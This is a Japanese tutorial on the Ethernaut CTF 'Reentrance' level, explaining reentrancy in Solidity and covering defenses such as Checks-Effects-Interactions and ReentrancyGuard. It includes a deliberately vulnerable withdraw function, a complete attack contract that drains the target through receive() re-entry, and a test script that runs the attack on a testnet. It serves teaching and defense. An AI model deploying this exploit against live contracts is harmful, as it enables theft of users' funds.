Skip to content
On this page

スマートコントラクトの再入可能(Reentrancy)攻撃:Ethernaut CTF「Reentrance」レベル徹底解説

はじめに

ブロックチェーンとスマートコントラクトのセキュリティにおいて、再入可能(Reentrancy)攻撃は最も古典的かつ危険な脆弱性の一つです。本記事では、OpenZeppelinが提供するEthernaut CTFの「Reentrance」レベルを通じて、再入可能攻撃の仕組み、実装方法、防御策について詳細に解説します。

再入可能攻撃の基本概念

再入可能性とは

再入可能性とは、ある関数が実行中に、同じ関数または別の関数から再び呼び出される可能性を指します。スマートコントラクトにおいて、外部コントラクトからのコールバックが発生する際に、状態変数の更新が適切に行われていない場合、意図しない再入が発生する可能性があります。

歴史的背景

再入可能攻撃は、2016年に発生したThe DAO事件で初めて大規模に実証されました。この攻撃により、当時の価値で約5000万ドル相当のETHが盗まれ、イーサリアムのハードフォーク(Ethereum Classicの分岐)を引き起こすきっかけとなりました。

対象コントラクトの分析

Reentrance.sol の構造

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

脆弱性の特定

このコントラクトの主要な脆弱性はwithdraw関数に存在します:

  1. 状態変数の更新順序の問題:資金の送信(msg.sender.call)が残高の更新(balances[msg.sender] -= _amount)よりも先に行われています
  2. 外部コールの危険性msg.sender.callは任意のコードを実行可能なフォールバック関数をトリガーします
  3. チェックと実行の分離:残高チェック後に状態が更新される前に外部コールが発生します

攻撃コントラクトの詳細解説

Hack.sol の完全実装

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrancy {
    function donate(address) external payable;
    function withdraw(uint256) external;
    function balanceOf(address) external view returns (uint256);
}

contract Hack {
    IReentrancy private immutable target;
    uint private constant AMOUNT = 0.001e18;

    constructor(address _target) public {
        target = IReentrancy(_target);
    }

    function attack() external payable {
        // ステップ1: 初期資金の寄付
        target.donate{value: AMOUNT}(address(this));
        
        // ステップ2: 初回の引き出しを開始
        target.withdraw(AMOUNT);

        // ステップ4: 攻撃完了後の検証
        require(address(target).balance == 0, "Target still remains!");
        
        // ステップ5: 盗んだ資金を攻撃者に送金
        (bool success,) = msg.sender.call{value: address(this).balance}(new bytes(0));
        require(success, "address call error!");
    }

    receive() external payable {
        // ステップ3: 再入可能攻撃の核心部分
        uint amount = min(AMOUNT, address(target).balance);
        if(amount > 0) {
            target.withdraw(amount);
        }
    }

    function min(uint _x, uint _y) private pure returns (uint) {
        return _x <= _y ? _x : _y;
    }
}

攻撃の流れ詳細

ステップ1: 初期設定

攻撃コントラクトはターゲットコントラクトに0.001 ETHを寄付します。これにより、balances[address(this)]が0.001 ETHに設定されます。

ステップ2: 初回引き出し

target.withdraw(AMOUNT)を呼び出します。この時点で:

  • balances[msg.sender] >= _amountのチェックが通過(0.001 ETH >= 0.001 ETH)
  • msg.sender.call{value: _amount}("")が実行され、攻撃コントラクトのreceive()関数が呼び出される

ステップ3: 再入可能攻撃の実行

solidity
receive() external payable {
    uint amount = min(AMOUNT, address(target).balance);
    if(amount > 0) {
        target.withdraw(amount);
    }
}

この関数内で再度target.withdraw(amount)が呼び出されます。重要な点は、最初のwithdraw呼び出しでbalances[msg.sender]がまだ更新されていないことです。

攻撃ループの詳細

  1. 初回withdraw:残高チェック通過 → ETH送信 → receive()呼び出し
  2. 2回目withdraw:残高はまだ0.001 ETH(未更新)→ チェック通過 → ETH送信 → receive()呼び出し
  3. このループはターゲットコントラクトの残高が0になるまで続く

ステップ4: 状態変数の更新

すべての再入呼び出しが完了した後、初回のwithdraw呼び出しに戻り、balances[msg.sender] -= _amountが実行されます。しかし、この時点ではすでに複数回の引き出しが完了しています。

技術的詳細と注意点

フォールバック関数とreceive関数

Solidity 0.6.0以降では、ETHを受信するための特別な関数としてreceive()が導入されました:

  • receive():データなしのETH転送時に呼び出される
  • fallback():データ付きの呼び出しや、receive()が存在しない場合に呼び出される

ガス制限の考慮

再入可能攻撃はガス消費が大きくなる可能性があります。攻撃コントラクトでは、残高が少なくなった場合の処理を考慮しています:

solidity
uint amount = min(AMOUNT, address(target).balance);

イミュータブル変数の使用

solidity
IReentrancy private immutable target;

immutableキーワードを使用することで、デプロイ後の変更を防ぎ、ガスコストを削減しています。

防御策とベストプラクティス

1. Checks-Effects-Interactionsパターン

状態変数を更新した後に外部コールを行うことで、再入可能攻撃を防ぎます:

solidity
function withdraw(uint256 _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    
    // Effects: 状態変数を先に更新
    balances[msg.sender] -= _amount;
    
    // Interactions: 外部コールは最後に
    (bool success, ) = msg.sender.call{value: _amount}("");
    require(success, "Transfer failed");
}

2. リエントラントシーガードの使用

OpenZeppelinのReentrancyGuardを利用する方法:

solidity
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureContract is ReentrancyGuard {
    function withdraw(uint256 _amount) public nonReentrant {
        // 安全な実装
    }
}

3. 送金方法の変更

transferまたはsendを使用する(ただし、ガス制限に注意):

solidity
// 2300ガスに制限されるため、再入可能攻撃が困難
msg.sender.transfer(_amount);

4. 状態変数のロック

カスタムのロックメカニズムを実装:

solidity
bool private locked;

modifier noReentrant() {
    require(!locked, "No reentrancy");
    locked = true;
    _;
    locked = false;
}

function withdraw(uint256 _amount) public noReentrant {
    // 実装
}

テスト実装の詳細

98_test_reentrance.ts の分析

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Reentrance, Hack } from "../typechain-types";

describe("Reentrance", function () {
  describe("Reentrance testnet sepolia", function () {
    it("testnet sepolia Reentrance", async function () {

      const REENTRANCE_ADDRESS = "0x...";

      const INITIAL_BALANCE = ethers.parseUnits("0.001", 18);
      const reentranceBalanceBeforeHack = await ethers.provider.getBalance(REENTRANCE_ADDRESS);
      expect(reentranceBalanceBeforeHack).to.be.equals(INITIAL_BALANCE);

      const HackFactory = await ethers.getContractFactory("Hack");
      const hacker = (await HackFactory.deploy(REENTRANCE_ADDRESS)) as Hack;
      await hacker.waitForDeployment();
      const HACK_ADDRESS = await hacker.getAddress();

      const ATTACK_UNIT = ethers.parseUnits("0.001", 18);
      const tx = await hacker.attack({ value: ATTACK_UNIT });
      await tx.wait();

      const reentranceBalanceAfterHack = await ethers.provider.getBalance(REENTRANCE_ADDRESS);
      expect(reentranceBalanceAfterHack).to.be.equals(0);

      const hackerBalance = await ethers.provider.getBalance(HACK_ADDRESS);
      expect(hackerBalance).to.be.equals(0);
    });
  });
});

テストのポイント

  1. 事前条件の確認:ターゲットコントラクトの初期残高を検証
  2. 攻撃コントラクトのデプロイ:ターゲットアドレスをコンストラクタで渡す
  3. 攻撃の実行attack関数を適切なETHとともに呼び出し
  4. 結果の検証
    • ターゲットコントラクトの残高が0になっていること
    • 攻撃コントラクトの残高も0(すべての資金が攻撃者に送金されたこと)

実世界での影響と事例

実際の被害事例

  1. The DAO Attack (2016): 360万ETH(当時約5000万ドル)が盗難
  2. Lendf.Me Hack (2020): 約2500万ドル相当の資産が被害
  3. Cream Finance Hack (2021): 1億3000万ドル相当の被害

経済的影響

再入可能攻撃は単なる技術的脆弱性ではなく、実質的な経済的損失を引き起こします。防御策の実装は、スマートコントラクト開発における必須事項となっています。

高度な攻撃パターン

クロスファンクション再入

同じコントラクト内の異なる関数間での再入:

solidity
// 脆弱な実装例
function withdraw(uint256 _amount) public {
    // 状態更新前に外部コール
    msg.sender.call{value: _amount}("");
    balances[msg.sender] -= _amount;
}

function transfer(address _to, uint256 _amount) public {
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] -= _amount;
    balances[_to] += _amount;
}

クロスコントラクト再入

複数のコントラクトにまたがる再入攻撃。

開発者向け推奨事項

コードレビューチェックリスト

  1. [ ] すべての外部コールの前に状態変数を更新しているか
  2. [ ] nonReentrant修飾子を適切に使用しているか
  3. [ ] 送金にはtransfersendを検討しているか
  4. [ ] テストケースで再入可能性を検証しているか

監査の重要性

大規模な資金を扱うコントラクトでは、専門的なセキュリティ監査が必須です。自動化されたツールと手動監査を組み合わせることで、より堅牢なセキュリティを実現できます。

まとめ

再入可能攻撃はスマートコントラクト開発における基本的かつ深刻な脆弱性です。本記事で解説したように:

  1. 根本原因は状態変数の更新順序と外部コールの組み合わせ
  2. 防御策としてChecks-Effects-InteractionsパターンやReentrancyGuardの使用が有効
  3. テスト監査がセキュリティ確保に不可欠

Ethernautの「Reentrance」レベルは、この重要な概念を実践的に学ぶ優れた教材です。開発者はこの教訓を活かし、安全なスマートコントラクト開発を心がけるべきでしょう。

スマートコントラクトのセキュリティは継続的な学習と実践が求められる分野です。新しい攻撃手法や防御策が日々開発されているため、最新の情報を追い続けることが重要です。

Built with AiAda